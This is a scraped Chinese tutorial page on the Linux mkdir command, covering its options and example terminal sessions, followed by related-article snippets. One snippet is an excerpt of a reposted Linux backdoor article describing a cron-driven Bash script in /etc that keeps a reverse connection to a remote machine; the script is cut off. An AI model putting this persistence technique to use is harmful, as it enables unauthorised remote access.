linux mkdir命令整理合集

linux mkdir 命令用来创建指定的名称的目录,要求创建目录的用户在当前目录中具有写权限,并且指定的目录名不能是当前目录中已有的目录。

1.命令格式:

mkdir [选项] 目录...

2.命令功能:

通过 mkdir 命令可以实现在指定位置创建以 DirName(指定的文件名)命名的文件夹或目录。要创建文件夹或目录的用户必须对所创建的文件夹的父文件夹具有写权限。并且,所创建的文件夹(目录)不能与其父目录(即父文件夹)中的文件名重名,即同一个目录下不能有同名的(区分大小写)。

3.命令参数:

-m, --mode=模式,设定权限<模式> (类似 chmod),而不是 rwxrwxrwx 减 umask

-p, --parents  可以是一个路径名称。此时若路径中的某些目录尚不存在,加上此选项后,系统将自动建立好那些尚不存在的目录,即一次可以建立多个目录;

-v, --verbose  每次创建新目录都显示信息

--help   显示此帮助信息并退出

--version  输出版本信息并退出

4.命令实例:

实例1:创建一个空目录

命令:

mkdir test1

输出:

复制代码代码如下:

[[email protected] soft]# cd test

[[email protected] test]# mkdir test1

[[email protected] test]# ll

总计 4drwxr-xr-x 2 root root 4096 10-25 17:42 test1

[[email protected] test]#

实例2:递归创建多个目录 

命令:

mkdir -p test2/test22

输出:

复制代码代码如下:

[[email protected] test]# mkdir -p test2/test22

[[email protected] test]# ll

总计 8drwxr-xr-x 2 root root 4096 10-25 17:42 test1

drwxr-xr-x 3 root root 4096 10-25 17:44 test2

[[email protected] test]# cd test2/

[[email protected] test2]# ll

总计 4drwxr-xr-x 2 root root 4096 10-25 17:44 test22

[[email protected] test2]#

实例3:创建权限为777的目录 

命令:

mkdir -m 777 test3

输出:

复制代码代码如下:

[[email protected] test]# mkdir -m 777 test3

[[email protected] test]# ll

总计 12drwxr-xr-x 2 root root 4096 10-25 17:42 test1

drwxr-xr-x 3 root root 4096 10-25 17:44 test2

drwxrwxrwx 2 root root 4096 10-25 17:46 test3

[[email protected] test]#

说明:

test3 的权限为rwxrwxrwx

实例4:创建新目录都显示信息

命令:

mkdir -v test4

输出:

复制代码代码如下:

[[email protected] test]# mkdir -v test4

mkdir: 已创建目录 “test4”

[[email protected] test]# mkdir -vp test5/test5-1

mkdir: 已创建目录 “test5”

mkdir: 已创建目录 “test5/test5-1”

[[email protected] test]#

实例5:一个命令创建项目的目录结构

命令:

mkdir -vp scf/{lib/,bin/,doc/{info,product},logs/{info,product},service/deploy/{info,product}}

输出:

[[email protected] test]# mkdir -vp scf/{lib/,bin/,doc/{info,product},logs/{info,product},service/deploy/{info,product}}

mkdir: 已创建目录 “scf”

mkdir: 已创建目录 “scf/lib”

mkdir: 已创建目录 “scf/bin”

mkdir: 已创建目录 “scf/doc”

mkdir: 已创建目录 “scf/doc/info”

mkdir: 已创建目录 “scf/doc/product”

mkdir: 已创建目录 “scf/logs”

mkdir: 已创建目录 “scf/logs/info”

mkdir: 已创建目录 “scf/logs/product”

mkdir: 已创建目录 “scf/service”

mkdir: 已创建目录 “scf/service/deploy”

mkdir: 已创建目录 “scf/service/deploy/info”

mkdir: 已创建目录 “scf/service/deploy/product”

[[email protected] test]# tree scf/

scf/

|-- bin

|-- doc

|   |-- info

|   `-- product

|-- lib

|-- logs

|   |-- info

|   `-- product

`-- service

`-- deploy

|-- info

`-- product

12 directories, 0 files

[[email protected] test]#

补充:

该命令创建指定的目录名,要求创建目录的用户在当前目录中具有写权限,并且指定的目录名不能是当前目录中已有的目录

语法:

mkdir [-m] [-p] 目录名

选项介绍:

-m: 对新建目录设置存取权限,也可以用chmod命令设置;

-p: 可以是一个路径名称。此时若路径中的某些目录尚不存在,加上此选项后,系统将自动建立好那些尚不存在的目录,即一次可以建立多个目录;

执行范例:

复制代码代码如下:

$ mkdir DIRA

$ ls

DIRA </p> <p> $ mkdir -m 775 DIRB

$ ls -l

drwxr-xr-x 2 xxxx users 4096 Feb 19 22:29 DIRA

drwxrwxr-x 2 xxxx users 4096 Feb 19 22:30 DIRB </p> <p> $ mkdir -p DIRC/hello

$ ls -l

drwxr-xr-x 2 xxxx users 4096 Feb 19 22:29 DIRA

drwxrwxr-x 2 xxxx users 4096 Feb 19 22:30 DIRB

drwxr-xr-x 3 xxxx users 4096 Feb 19 22:31 DIRC </p> <p> $ ls DIRC

hello

在Linux系统中,命令mkdir的功能是创建新文件夹。

mkdir -p 可以在新的子目录中创建一个新的子目录。

举例:

mkdir -p about/abc/def 可以递级创建新的三个目录。

如果想看看mkdir到底做了什么,可以添加选项“-v”,继续上面举例:

复制代码代码如下:

mkdir -pv about/abc/def

mkdir: created directory ‘about‘

mkdir: created directory ‘about/abc‘

mkdir: created directory ‘about/abc/def‘

时间: 2024-11-05 06:12:29

linux mkdir命令整理合集的相关文章

[转载]Linux后门整理合集(脉搏推荐)

我在思考要不要联系下....都禁止转载了.... 简介 利用 Unix/Linux 自带的 Bash 和 Crond 实现远控功能,保持反弹上线到公网机器. 利用方法 先创建 /etc/xxxx 脚本文件(名字自己改),利用该脚本进行反弹.以下脚本代表全自动反弹到 8.8.8.8 的 53 端口. nano /etc/xxxx #!/bin/bash if netstat -ano|grep -v grep | grep "8.8.8.8">/dev/null then echo

Linux mkdir 命令

2015-06-25 创建 1.概要: Linux mkdir 命令  创建指定目录,如果这些目录不存在的话. 2.命令格式: mkdir [OPTION]... DIRECTORY...     中文:mkdir [选项]... 目录... 3.常用示例: mkdir aaa    在当前路径下创建目录,目录名为"aaa" 3.常用命令参数: -m, --mode=MODE 设置文件权限(和 chmod 一样),而不是rwxrwxrwx - umask,其中MODE参数可以是数字,也

linux mkdir 命令详解及使用方法实战【初级】

mkdir命令详解及使用方法实战 名称 MKDIR 是 make directories 的缩写 使用方法 mkdir [选项(如-p)] ...目录名称(及子目录注意用分隔符隔开)...    如使用mkdir建立一个多级目录则要使用-P命令 如: mkdir /lcp 是在根(/)目录下建立一个名为lcp的文件夹 mkdir -p /lcp/abc 则是在根(/)目录下建一个名为lcp的文件夹同时在此文件夹中建立名为abc的文件夹 描述 创建目录(IES),如果他们不存在. 长选项必须用的参

Linux -&gt;&gt; mkdir命令

Linux下创建文件夹.常见用法: 1)创建文件夹时如果父层目录不存在就自动创建,这样命令保证绝对可以成功运行 [email protected]:/tmp# mkdir -p ThisDIr/Jerry [email protected]:/tmp# ls config-err-6ha607 unity_support_test.0 vmware-file-mod0 config-err-NDGsUe vgauthsvclog.txt.0 vmware-guest-oPvIa8 config-

CSP-S考前整理合集

复赛前整理整理--涨涨RP 本文主要收集整理各类板子的代码. 一·IO优化 快速读入 template<class T> inline T read(T &x) { x = 0; int w = 1, ch = getchar(); for (; ch < '0' || ch > '9'; ch = getchar()) if (ch == '-') w = -1; for (; ch >= '0' && ch <= '9'; ch = getc

NGINX PHP 报错整理合集

NGINX PHP "No input file specified" 修改php.ini conf cgi.fix_pathinfo=1; 修改nginx.conf,中的fastcgi_param SCRIPT_FILENAME参数,(有的可能在引入的其他文件里面). conf fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; 服务器中执行命令,重启php nginx /etc/init.d/php-f

IOS发送邮件(E-mail)方法整理合集

前言:在IOS开发中,有时候我们会需要用到邮件发送的功能.比如,接收用户反馈和程序崩溃通知等等.其实这个功能是很常用的,因为我目前就有发送邮件的开发需求,所以顺便整理下IOS发送邮件的方法. IOS原生自带有两种发送邮件的方法,另一种是使用第三方库: 1)openURL(原生) --用户体验较差,程序会进入后台,跳转至邮件发送界面. 2)MFMailComposeViewController(原生) --不会进入后台,使用模态弹出邮件发送视图. 3)SKPSMTPMessage(https://

IOS开发-发送邮件(E-mail)方法整理合集(共3种)

前言:在IOS开发中,有时候我们会需要用到邮件发送的功能.比如,接收用户反馈和程序崩溃通知等等.其实这个功能是很常用的,因为我目前就有发送邮件的开发需求,所以顺便整理下IOS发送邮件的方法. IOS原生自带有两种方法发送邮件的方法,另一种是使用第三方库: 1)openURL(原生) ——用户体验较差,程序会进入后台,跳转至邮件发送界面. 2)MFMailComposeViewController(原生) ——不会进入后台,使用模态弹出邮件发送视图. 3)SKPSMTPMessage(https:

运算符整理合集+优先级排序

原文地址:https://mp.weixin.qq.com/debug/wxadoc/dev/framework/view/wxs/04operator.html 运算符这里一直是自己的弱点,只认识加减乘除,一些位移运算符因为没用过所以不怎么了解. 看腾讯的开发文档总结的很好,正好这几天正在高程3上看这部分的内容,就拔下来了...